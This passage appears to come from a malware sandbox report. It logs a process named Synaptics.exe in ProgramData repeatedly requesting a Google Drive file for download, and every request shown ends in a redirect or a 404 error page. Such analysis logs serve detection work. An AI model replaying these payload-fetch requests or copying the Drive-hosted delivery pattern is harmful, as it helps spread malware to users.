/_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49723	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:00 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-25 19:55:01 UTC	1592	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:01 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-fvS2patZqTW9rlnjDOXxfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOgZQJL5JRhn4ojlWBoI_47ZyLgc_d1ez6zfZRQcAjXElPugU1A8TejR-x_7cfdbKk_GokMaJWTlg Server: UploadServer Set-Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk; expires=Fri, 24-Jan-2025 19:55:01 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:01 UTC	1592	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 6d 37 78 57 71 35 52 53 44 4d 67 4b 36 52 56 77 77 75 64 77 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-m7xWq5RSDMgK6RVwwudwA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-07-25 19:55:01 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49725	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:01 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-XAEXuWHF9YFtoQBe-A1pNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49727	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:01 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
2024-07-25 19:55:02 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:01 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-fld2zJCRiL0I4SFdQjl3Aw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOShgmU-WNr_CYmPDDoBXhxUR5JLg6LaYTXvbsUUhl-dzUZY6CPUSz7TsLpBIaeEDqp-jk Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:02 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:02 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 48 2d 74 4f 35 67 4f 64 33 50 6f 61 58 43 6c 57 69 4b 53 4d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="1H-tO5gOd3PoaXClWiKSMQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:02 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49726	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:01 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YlgUneYei5taMSI2tBpinA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49729	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:01 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
2024-07-25 19:55:02 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:02 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-fjCy2-5RSPEK-p138hkdBg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nM2jDazcF9ENXFnSJePdTPWwfHkx77wzMFaOUhu37LAgUdBIsMmXHqt_wleexdRPlWaG5dUoGcuKA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:02 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:02 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 4b 69 39 74 65 61 5f 6b 56 36 4f 57 41 37 33 4d 32 68 46 44 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="GKi9tea_kV6OWA73M2hFDw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:02 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49736	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:03 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:03 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:03 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qDw7JzOaDTQrWL5wlei6fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNMgzHCbafYSnjcWhY4v4iLLuIXcfY4H05hjkGxiCj_10IwbLiBlP3WnLPwoXOS6q6fHoymu8VAGw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:03 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:03 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 59 76 6b 44 45 5f 78 36 50 61 50 49 69 74 6c 4d 41 71 69 53 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="OYvkDE_x6PaPIitlMAqiSw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:03 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49737	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:03 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bCXr_XElEUmUFLG66obiVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49738	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:03 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-rnl-P7X34mqEXiihHQqvzg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49744	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:04 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
